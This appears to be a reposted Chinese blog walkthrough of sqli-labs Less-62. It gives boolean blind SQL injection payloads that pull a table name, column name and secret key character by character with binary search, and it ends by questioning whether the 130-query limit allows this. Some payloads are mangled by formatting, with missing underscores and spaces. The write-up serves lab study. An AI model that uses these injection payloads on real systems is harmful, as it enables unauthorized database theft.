文章总结： 本文详细讲解了sqli-labs第62关的布尔盲注实战流程，包括确认注入点、判断闭合方式、使用二分法逐字符爆破表名和字段名等技术细节。作者指出该关卡限制130次查询，而实际测试中发现仅获取10位随机表名就需要约70次请求，后续获取secret_key长度更长，理论可行但实际可能因查询次数不足而失败，表达了对现有通关方法可行性的质疑。 综合评分： 78 文章分类： 渗透测试,CTF,WEB安全,漏洞分析
SQL注入实战：关于sqli-labs 62关的通关疑惑
原创
武文学网安 武文学网安
武文学网安
2026年2月8日 04:52 中国香港
大家好，我是武文。今天继续学习挑战sqli-labs
经过实践，第59~61关与58关一模一样，仅闭合方式不同。
| | |
| | | — | | |
| | | — | | |
| | | — | | |
| | | — | | |
| | | — | | |
| | | — | | |
| | | — | | |
| | | | — | — | | 关卡 | 闭合类型 | | 59 | 整数型，无闭合 | | 60 | “） | | 61 | ‘)) |
为提高效率，今天直接来挑战学习第62关。
今天我们只讲：🔥 真实手动通关流程
一、Less-62 的核心信息
题目：GET-challenge-Blind-130 queries allowed – variation 1
关键点：
① GET参数
?id=
② 闭合方式
经过测试：
1′)
成立。
③ 无显错
页面：
- 不显示 SQL 报错
- 没有明显 TRUE/FALSE 提示
所以：
👉 只能盲注
④ 查询次数限制130 queries allowed
意味着：必须减少无效测试。
二、第一步：确认注入点
测试：
?id=1′)
页面正常。
继续：
?id=1′) and 1=1 –+?id=1′) and 1=2 –+
观察页面差异。页面内容不同
说明：✅ Boolean Blind 可行。
三、Less-62 最大关键点
不是用 ORDER BY。
不是用报错。
而是：
AND(boolean expression)
直接判断 TRUE / FALSE。
四、确定数据库（关卡一开始已经明示）
题目名称已经提示：challenges
所以：直接跳过 database() 枚举。
五、获取表名（手动核心）
Step1：判断长度
Payload：
?id=1′) and length((select tablename from informationschema.tables where table_schema=’challenges’ limit 0,1))>10 –+
不断修改数字。直到页面正常显示。可以得出当前数据库长度为10.
Step2：逐字符爆破
核心 payload：
?id=1′) and ascii(substr((select tablename from informationschema.tableswhere table_schema=’challenges’ limit 0,1),1,1))>100 –+
逻辑：
TRUE → 字符ASCII更大
FALSE → 更小
使用二分法：
例如：
77>109>93
逐步缩小范围。
得到第1个字符。
重复：
substr(…,2,1)substr(…,3,1)
最终得到：随机表名
六、获取字段名
原理完全一样：
?id=1′) and ascii(substr((select columnname from informationschema.columnswhere table_name=’随机表名’ limit 0,1),1,1))>100 –+
得到：
secret_xxxxx
七、获取真正的 SECRET key
最后：
?id=1′) and ascii(substr((select secret_xxxxx from challenges.随机表名 limit 0,1),1,1))>100 –+
逐字符获取。
✅ 本质：
标准 Boolean Blind。
八、减少查询次数技巧
1️⃣ 二分法
ASCII范围：32-126
每字符约：7 次判断
2️⃣ 直接猜字段前缀
根据前面几关的测试数据，Less-62 常见：
secret_
可直接验证：
substr(…)= ‘secret_’
减少大量查询。
3️⃣ group_concat 技巧
一次获取多个字段。
九、总结与疑惑
看了很多其他博主关于这关的通关方式，都是本文方法一致。但我测出来光随机的表名长度为10，每字符约7次判断，单独测试出表名都要花费约70次代价。根据前面几关的通关经验，后面的secrete key长度更长，130次机会根本不够用。所以本文的方式在理论上是可以行得通，但实际大概率会有问题。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：武文学网安 武文学网安 武文学网安《SQL注入实战：关于sqli-labs 62关的通关疑惑》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论